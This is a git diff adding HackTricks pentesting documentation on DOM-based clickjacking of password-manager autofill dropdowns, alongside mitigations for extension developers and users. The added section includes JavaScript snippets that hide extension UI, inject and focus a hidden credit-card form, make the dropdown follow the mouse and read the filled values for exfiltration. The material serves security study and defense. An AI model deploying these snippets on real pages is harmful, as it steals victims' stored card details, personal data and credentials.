diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 9f8f4752eaa..7d2b296bc9c 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -95,10 +95,140 @@ Check the following page to check how a **XSS** in a browser extension was chain browext-xss-example.md {{#endref}} +--- + +## DOM-based Extension Clickjacking (Password Manager Autofill UIs) + +Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data. + +### Threat model + +- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain). +- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked). +- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.). + +### Attack flow (manual autofill) + +1. Inject an invisible but focusable form (login/PII/credit-card fields). +2. Focus an input to summon the extension’s autofill dropdown near the field. +3. Hide or occlude the extension UI while keeping it interactable. +4. Align a believable control under the hidden dropdown to coerce a click that selects an item. +5. Read filled values from the attacker form and exfiltrate. + +### How to hide the autofill UI + +- Extension element + - Root element opacity (generic): + +```js +// Reduce or nullify opacity of the extension root +// Works when the root element is attached in the page DOM +const root = document.querySelector('protonpass-root') +if (root) root.style.opacity = 0 +``` + + - Child inside open ShadowRoot (dynamic tag, hide internal iframe): + +```js +// Find dynamic root like and hide its child iframe +const root = Array.from(document.querySelectorAll('*')) + .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-')) +if (root?.shadowRoot) { + const frame = root.shadowRoot.querySelector('iframe') + if (frame) frame.style.cssText += 'opacity:0 !important;' +} +``` + +- Parent element + - BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background): + +```js +// Hide full page, then reveal a tiny amount to keep clicks working +document.body.style.opacity = 0 +// Optional: Show a screenshot/lookalike to avoid a blank screen +// document.documentElement.style.backgroundImage = 'url(website.png)' + +// Inject a credit-card form and focus to trigger dropdown +/* create #cardform with #cardnumber, #expiry, #cvc */ +document.getElementById('cardnumber').focus() +// Make body barely visible to allow user interaction +document.body.style.opacity = '0.001' + +function getCardValues() { + const num = document.getElementById('cardnumber').value + const exp = document.getElementById('expiry').value + const cvc = document.getElementById('cvc').value + // exfiltrate via XHR/fetch/websocket +} +``` + +- Overlay + - Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer). + - Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API: + +```html +
Cookie consent
+ +``` + +### Positioning the victim click + +- Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox. +- Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item: + +```js +const f = document.getElementById('name') +document.addEventListener('mousemove', e => { + personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;` + // some managers hide the dropdown if focus is lost; refocus slowly + setTimeout(() => f.focus(), 100) +}) +``` + +### Universal targeting and state awareness + +A single script can detect which manager’s UI is present (root tag names, attributes) and whether it’s locked/unlocked, then choose the right hiding method and timing. This avoids futile attempts when the manager is locked. + +### Impact and scenarios + +- Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that aren’t domain-scoped. +- Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`). +- Passkeys: if the RP doesn’t bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the user’s confirming click. + +### Limitations + +- Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit). +- Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”. + +### Extension developer mitigations + +- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays. +- Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots. +- Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist. +- Detect suspicious ``/`` opacity or style changes both pre- and post-render. +- For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`. + +### User recommendations + +- Keep extensions updated; consider disabling manual autofill and prefer copy/paste or toolbar flows. +- In Chromium, restrict site access to “on click” per site. +- Restrict autofill to exact-URL matches to limit subdomain abuse. + +### Notes + +- NordPass (Dec 2023) previously allowed iframing its full UI; multiple guided clicks could expose vault items. Mis-scoped `web_accessible_resources` was the root cause (fixed). +- Multiple managers were affected by DOM-based variants historically; many have shipped mitigations by now. Always test against the current version. + ## References - [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) - [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) +- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) -{{#include ../../banners/hacktricks-training.md}} - +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 7f8598ca9cc..f3931b028e0 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -112,6 +112,16 @@ A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/ > [!WARNING] > This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**. +### Browser extensions: DOM-based autofill clickjacking + +Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation. + +- For concrete techniques and PoCs see: + - +{{#ref}} + browser-extension-pentesting-methodology/browext-clickjacking.md + {{#endref}} + ## Strategies to Mitigate Clickjacking ### Client-Side Defenses @@ -212,8 +222,6 @@ if (top !== self) { - [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) - [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) +- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c5d..dd6a54063af 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} -